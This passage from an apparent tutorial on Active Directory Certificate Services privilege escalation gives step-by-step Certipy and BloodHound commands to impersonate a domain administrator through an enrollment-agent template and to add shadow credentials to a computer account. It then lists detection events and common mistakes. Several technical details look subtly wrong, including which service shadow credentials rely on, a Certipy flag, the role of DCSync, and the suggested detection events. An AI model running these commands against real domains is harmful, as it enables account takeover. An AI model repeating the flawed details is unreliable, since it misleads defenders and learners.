Mastering AD CS Privilege Escalation: From Template Attacks to Shadow Credentials

1. Request a certificate as the victim user using Certipy with the -on-behalf-of flag:

certipy req -u user1@corp.local -p 'Password123!' -ca CORP-CA -target 'Administrator@corp.local' -template VulnTemplate -on-behalf-of

2. Export the .pfx file and use it to authenticate via Kerberos:

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10

If successful, you’ll obtain a Kerberos ticket for the domain admin. This attack works because the CA trusts the enrollment agent to submit requests for any subject—without verifying the subject’s consent.

Step 3: Abuse Shadow Credentials via Key Trust

Shadow credentials leverage the Key Trust model in AD CS, where a certificate can be used as a credential for Kerberos authentication. Attackers add a certificate to a target machine’s msDS-KeyCredentialLink attribute, effectively creating a new credential that can be used to request a TGT.

First, enumerate machines where low-privilege users can modify the attribute—often computers with weak ACLs (e.g., S-1-1-0 allowing “Write”). Use BloodHound or the ShadowCred tool:

bloodhound-python -d corp.local -u user1 -p 'Password123!' -gc corp-dc.corp.local -c All

Identify a target computer (e.g., FILE01) with weak ACLs.

Next, add a shadow credential:

certipy shadow add -u user1@corp.local -p 'Password123!' -target FILE01$ -ca CORP-CA

This command generates a new certificate, binds it to the computer account, and outputs a .pfx file. Use that certificate to request a TGT for the computer account, then dump its local administrator hash via DCSync:

certipy auth -pfx file01.pfx -dc-ip 192.168.1.10

Step 4: Detection Methods for Defenders

Unit 42’s analysis emphasizes behavioral detection over static signatures. Watch for these indicators:

• Unusual Certificate Requests: A user requesting a certificate where the subject differs from the requester (cross-user enrollment). Enable auditing on the CA: auditpol /set /subcategory:"Certification Services" /success:enable. Monitor Event ID 4886 (CA issued certificate) and 4887 (request approved).
• Shadow Credential Addition: Monitor for modifications to msDS-KeyCredentialLink on high-value accounts. Use Windows Event ID 4670 (ACL change) or PowerShell logging to detect Set-ADAccountControl operations.
• Abnormal Kerberos TGT Requests: A computer account suddenly requesting a TGT with a certificate not originally provisioned—investigate Event ID 4768 with specific certificate hash.

Deploy a custom detection rule in your SIEM (e.g., Splunk or Azure Sentinel) that correlates certificate issuance events with user logon anomalies.

Common Mistakes

• Overlooking Template Permissions: Many attackers focus only on EKU, forgetting that the Enrollment Rights must be present. Always verify the nTSecurityDescriptor.
• Forgetting to Clean Up Shadow Credentials: Leftover msDS-KeyCredentialLink entries can persist and cause detection failures. Always delete them after testing: certipy shadow delete -u user1 -p 'Password123!' -target FILE01$.
• Assuming Domain Admin Is Required: Many misconfigurations allow a simple Domain User to enumerate and exploit—don’t start with a privileged account.
• Ignoring CA Server Access Controls: If the CA server’s web enrollment interface is exposed, additional attack vectors like ESC8 (NTLM relay) become possible. Lock down the CA web services.

Summary

AD CS escalation remains a potent vector for lateral movement and privilege escalation. By abusing misconfigured certificate templates—especially those allowing enrollment agent impersonation—attackers can forge certificates for any principal. Shadow credentials offer an elegant alternative, turning any writable machine object into a credential store. Defenders must shift from signature‑based detection to behavioral baselines, auditing certificate issuance and attribute modifications. This guide provides the fundamental techniques and defense strategies to keep one step ahead.